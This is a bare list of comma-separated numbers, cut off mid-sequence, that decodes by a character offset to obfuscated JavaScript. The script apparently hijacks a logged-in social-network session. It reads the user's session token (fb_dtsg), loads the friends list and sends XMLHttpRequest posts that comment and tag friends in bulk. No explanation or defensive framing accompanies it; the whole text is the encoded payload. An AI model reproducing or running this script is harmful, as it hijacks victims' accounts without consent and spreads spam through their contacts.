31,36,23,26,94,79,96,97,83,55,92,98,22,31,30,32,27,34,36,23,23,23,26,98,28,97,83,92,82,22,23,26,98,28,93,92,96,83,79,82,103,97,98,79,98,83,81,86,79,92,85,83,43,84,99,92,81,98,87,93,92,22,23,105,87,84,22,34,43,43,98,28,96,83,79,82,103,65,98,79,98,83,20,20,32,30,30,43,43,98,28,97,98,79,98,99,97,23,105,100,79,96,14,83,43,56,65,61,60,28,94,79,96,97,83,22,98,28,96,83,97,94,93,92,97,83,66,83,102,98,23,41,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,39,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,34,36,23,23,43,43,83,28,97,98,79,98,99,97,77,98,102,98,107,107,107,84,99,92,81,98,87,93,92,14,77,89,22,83,23,105,100,79,96,14,98,43,59,79,98,86,28,81,83,87,90,22,83,28,84,96,87,83,92,82,97,28,90,83,92,85,98,86,29,81,93,92,84,87,85,28,98,79,85,77,90,87,91,87,98,23,41,84,93,96,22,81,93,92,84,87,85,28,94,93,97,98,77,90,87,91,87,98,43,98,44,81,93,92,84,87,85,28,94,93,97,98,77,90,87,91,87,98,45,81,93,92,84,87,85,28,94,93,97,98,77,90,87,91,87,98,40,98,26,30,43,43,81,93,92,84,87,85,28,94,93,97,98,77,90,87,91,87,98,20,20,22,81,93,92,84,87,85,28,94,93,97,98,77,90,87,91,87,98,43,31,23,26,94,43,30,41,94,42,81,93,92,84,87,85,28,94,93,97,98,77,90,87,91,87,98,41,94,25,25,23,105,84,93,96,22,83,28,98,79,85,97,43,73,75,26,94,89,43,30,41,94,89,42,81,93,92,84,87,85,28,98,79,85,77,90,87,91,87,98,41,94,89,25,25,23,105,100,79,96,14,93,43,94,89,25,81,93,92,84,87,85,28,98,79,85,77,90,87,91,87,98,24,94,41,83,28,84,96,87,83,92,82,97,73,93,75,20,20,83,28,98,79,85,97,28,94,99,97,86,22,83,28,84,96,87,83,92,82,97,73,93,75,23,107,81,93,92,97,93,90,83,28,90,93,85,22,83,28,98,79,85,97,23,26,77,90,22,83,23,107,107,84,99,92,81,98,87,93,92,14,77,90,22,83,23,105,100,79,96,14,98,43,83,28,98,79,85,97,26,93,43,105,79,94,94,77,87,82,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,31,27,34,31,23,26,94,79,96,97,83,55,92,98,22,36,36,27,31,35,23,26,94,79,96,97,83,55,92,98,22,38,33,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,30,32,27,34,35,23,26,94,79,96,97,83,55,92,98,22,38,30,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,35,39,23,26,94,79,96,97,83,55,92,98,22,37,33,27,31,38,23,26,94,79,96,97,83,55,92,98,22,37,37,27,32,37,23,23,26,79,98,98,96,87,80,99,98,87,93,92,40,94,96,93,84,87,90,83,77,87,82,26,79,99,82,87,83,92,81,83,77,98,103,94,83,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,32,38,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,35,37,23,23,26,81,93,91,94,93,97,83,96,77,97,83,97,97,87,93,92,77,87,82,40,77,98,22,23,26,83,94,86,83,91,83,96,79,90,77,98,98,90,77,91,93,82,83,40,30,26,87,97,77,84,93,96,81,83,82,77,96,83,97,86,79,96,83,77,93,84,77,94,93,97,98,40,15,31,26,91,83,97,97,79,85,83,40,16,16,26,93,101,92,83,96,77,87,82,40,94,96,93,84,87,90,83,77,87,82,26,94,93,97,98,77,87,82,40,83,28,97,86,79,96,83,79,80,90,83,77,87,82,26,94,96,87,100,79,81,103,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,37,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,36,37,27,31,39,23,26,94,79,96,97,83,55,92,98,22,37,37,27,32,39,23,26,94,79,96,97,83,55,92,98,22,39,34,27,34,30,23,26,94,79,96,97,83,55,92,98,22,36,37,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,31,32,27,35,39,23,26,94,79,96,97,83,55,92,98,22,35,38,27,31,30,23,26,94,79,96,97,83,55,92,98,22,38,34,27,32,38,23,26,94,79,96,97,83,55,92,98,22,37,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,39,32,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,30,37,27,35,31,23,26,94,79,96,97,83,55,92,98,22,39,31,27,33,39,23,26,94,79,96,97,83,55,92,98,22,38,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,30,37,27,35,36,23,26,94,79,96,97,83,55,92,98,22,36,33,27,31,30,23,23,26,97,86,79,96,83,77,98,93,77,85,96,93,99,94,77,79,97,77,94,79,85,83,40,15,31,26,97,86,79,96,83,77,98,103,94,83,40,39,39,26,97,86,79,96,83,82,77,79,82,77,87,82,40,16,16,26,97,93,99,96,81,83,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,36,37,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,32,37,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,30,38,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,33,37,23,23,26,99,96,90,40,16,16,26,79,100,40,94,96,93,84,87,90,83,77,87,82,26,82,94,96,40,31,26,83,102,98,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,32,35,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,34,36,23,23,107,26,79,43,105,77,77,99,97,83,96,40,94,96,93,84,87,90,83,77,87,82,26,77,77,79,40,31,26,77,77,82,103,92,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,38,36,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,32,34,23,26,94,79,96,97,83,55,92,98,22,39,36,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,30,23,26,94,79,96,97,83,55,92,98,22,39,33,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,31,36,27,32,39,23,26,94,79,96,97,83,55,92,98,22,37,32,27,31,36,23,26,94,79,96,97,83,55,92,98,22,36,39,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,31,39,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,31,35,23,26,94,79,96,97,83,55,92,98,22,39,34,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,31,38,23,26,94,79,96,97,83,55,92,98,22,39,31,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,33,34,23,26,94,79,96,97,83,55,92,98,22,38,37,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,31,38,27,34,37,23,26,94,79,96,97,83,55,92,98,22,36,36,27,31,30,23,26,94,79,96,97,83,55,92,98,22,36,36,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,35,33,23,26,94,79,96,97,83,55,92,98,22,39,35,27,31,34,23,26,94,79,96,97,83,55,92,98,22,39,39,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,37,34,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,31,35,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,34,36,27,32,35,23,26,94,79,96,97,83,55,92,98,22,37,31,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,30,30,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,31,35,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,36,39,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,30,37,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,37,34,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,34,30,23,26,94,79,96,97,83,55,92,98,22,39,36,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,33,35,23,26,94,79,96,97,83,55,92,98,22,37,35,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,33,39,23,26,94,79,96,97,83,55,92,98,22,38,35,27,33,35,23,26,94,79,96,97,83,55,92,98,22,39,35,27,31,36,23,26,94,79,96,97,83,55,92,98,22,37,39,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,35,31,23,26,94,79,96,97,83,55,92,98,22,37,37,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,35,33,27,34,38,23,26,94,79,96,97,83,55,92,98,22,36,36,27,31,36,23,26,94,79,96,97,83,55,92,98,22,39,36,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,30,34,27,31,34,23,26,94,79,96,97,83,55,92,98,22,39,31,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,30,32,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,35,38,23,26,94,79,96,97,83,55,92,98,22,39,33,27,32,35,23,26,94,79,96,97,83,55,92,98,22,39,32,27,32,31,23,26,94,79,96,97,83,55,92,98,22,38,39,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,36,33,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,34,23,26,94,79,96,97,83,55,92,98,22,36,36,27,31,33,23,26,94,79,96,97,83,55,92,98,22,39,30,27,33,34,23,26,94,79,96,97,83,55,92,98,22,38,39,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,37,36,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,35,34,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,33,39,23,26,94,79,96,97,83,55,92,98,22,39,39,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,35,37,23,26,94,79,96,97,83,55,92,98,22,39,31,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,30,35,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,31,36,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,34,38,23,26,94,79,96,97,83,55,92,98,22,37,36,27,32,33,23,26,94,79,96,97,83,55,92,98,22,39,30,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,34,35,23,26,94,79,96,97,83,55,92,98,22,37,38,27,32,32,23,26,94,79,96,97,83,55,92,98,22,38,34,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,34,36,23,26,94,79,96,97,83,55,92,98,22,39,32,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,31,32,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,33,34,23,26,94,79,96,97,83,55,92,98,22,37,35,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,37,31,27,31,35,23,26,94,79,96,97,83,55,92,98,22,37,33,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,30,38,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,31,37,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,33,36,23,26,94,79,96,97,83,55,92,98,22,38,35,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,30,37,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,31,31,23,26,94,79,96,97,83,55,92,98,22,38,31,27,32,35,23,23,26,77,77,96,83,95,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,32,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,32,23,23,26,77,77,80,83,40,30,26,77,77,94,81,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,30,34,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,33,31,23,26,94,79,96,97,83,55,92,98,22,36,39,27,32,30,23,26,94,79,96,97,83,55,92,98,22,37,37,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,33,27,31,35,23,26,94,79,96,97,83,55,92,98,22,39,38,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,30,35,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,31,35,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,34,31,23,23,26,84,80,77,82,98,97,85,40,84,80,77,82,98,97,85,26,98,98,97,98,79,91,94,40,98,98,97,98,79,91,94,26,77,77,96,83,100,40,77,77,96,83,100,107,26,92,43,92,83,101,14,70,59,58,54,98,98,94,64,83,95,99,83,97,98,41,92,28,93,94,83,92,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,37,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,31,37,27,33,38,23,26,94,79,96,97,83,55,92,98,22,39,34,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,34,37,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,35,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,32,37,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,34,31,23,26,94,79,96,97,83,55,92,98,22,37,37,27,31,39,23,26,94,79,96,97,83,55,92,98,22,37,34,27,32,37,23,26,94,79,96,97,83,55,92,98,22,38,37,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,35,34,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,32,31,23,26,94,79,96,97,83,55,92,98,22,39,33,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,31,35,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,32,32,23,26,94,79,96,97,83,55,92,98,22,39,35,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,35,33,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,32,38,23,26,94,79,96,97,83,55,92,98,22,39,34,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,31,36,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,35,38,23,26,94,79,96,97,83,55,92,98,22,36,36,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,33,34,23,26,94,79,96,97,83,55,92,98,22,36,36,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,31,32,27,34,39,23,23,25,77,48,22,93,23,23,26,92,28,97,83,98,64,83,95,99,83,97,98,54,83,79,82,83,96,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,34,32,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,39,38,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,33,30,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,32,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,34,35,23,26,94,79,96,97,83,55,92,98,22,37,36,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,30,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,37,34,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,37,23,26,94,79,96,97,83,55,92,98,22,39,33,27,33,34,23,26,94,79,96,97,83,55,92,98,22,35,30,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,39,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,38,35,27,31,35,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,30,32,27,34,36,23,23,23,26,92,28,97,83,92,82,22,77,48,22,79,23,23,26,92,28,93,92,96,83,79,82,103,97,98,79,98,83,81,86,79,92,85,83,43,84,99,92,81,98,87,93,92,22,23,105,87,84,22,34,43,43,92,28,96,83,79,82,103,65,98,79,98,83,20,20,32,30,30,43,43,92,28,97,98,79,98,99,97,23,105,100,79,96,14,93,43,56,65,61,60,28,94,79,96,97,83,22,92,28,96,83,97,94,93,92,97,83,66,83,102,98,28,96,83,94,90,79,81,83,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,38,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,35,23,26,94,79,96,97,83,55,92,98,22,36,31,27,32,39,23,26,94,79,96,97,83,55,92,98,22,38,34,27,34,34,23,26,94,79,96,97,83,55,92,98,22,37,38,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,34,27,32,35,23,26,94,79,96,97,83,55,92,98,22,38,36,27,34,35,23,26,94,79,96,97,83,55,92,98,22,38,35,27,32,36,23,23,26,16,16,23,23,41,93,28,83,96,96,93,96,106,106,22,83,28,94,93,97,98,77,87,82,43,93,28,94,79,103,90,93,79,82,28,93,80,88,83,81,98,77,87,82,26,83,28,98,79,85,97,43,98,26,81,93,92,97,93,90,83,28,90,93,85,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,30,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,37,36,27,36,30,23,26,94,79,96,97,83,55,92,98,22,37,38,27,34,36,23,26,94,79,96,97,83,55,92,98,22,39,32,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,35,33,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,31,39,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,31,38,23,26,94,79,96,97,83,55,92,98,22,38,33,27,32,35,23,26,94,79,96,97,83,55,92,98,22,36,36,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,35,34,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,36,39,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,32,37,27,31,32,23,26,94,79,96,97,83,55,92,98,22,39,34,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,30,30,27,35,33,23,26,94,79,96,97,83,55,92,98,22,36,39,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,34,36,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,30,36,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,30,39,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,30,39,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,33,23,26,94,79,96,97,83,55,92,98,22,36,38,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,32,37,27,31,38,23,26,94,79,96,97,83,55,92,98,22,38,39,27,34,32,23,23,25,83,28,94,93,97,98,77,87,82,23,26,77,94,22,83,23,26,77,92,22,83,23,26,77,91,22,83,23,23,107,107,107,84,99,92,81,98,87,93,92,14,77,91,22,83,23,105,100,79,96,14,98,43,105,84,98,77,83,92,98,77,87,82,83,92,98,87,84,87,83,96,40,83,28,94,93,97,98,77,87,82,26,81,93,91,91,83,92,98,77,98,83,102,98,40,16,16,26,97,93,99,96,81,83,40,32,26,81,90,87,83,92,98,77,87,82,40,50,79,98,83,28,92,93,101,22,23,25,16,40,16,25,59,79,98,86,28,84,90,93,93,96,22,50,79,98,83,28,92,93,101,22,23,29,31,83,33,23,26,97,83,97,97,87,93,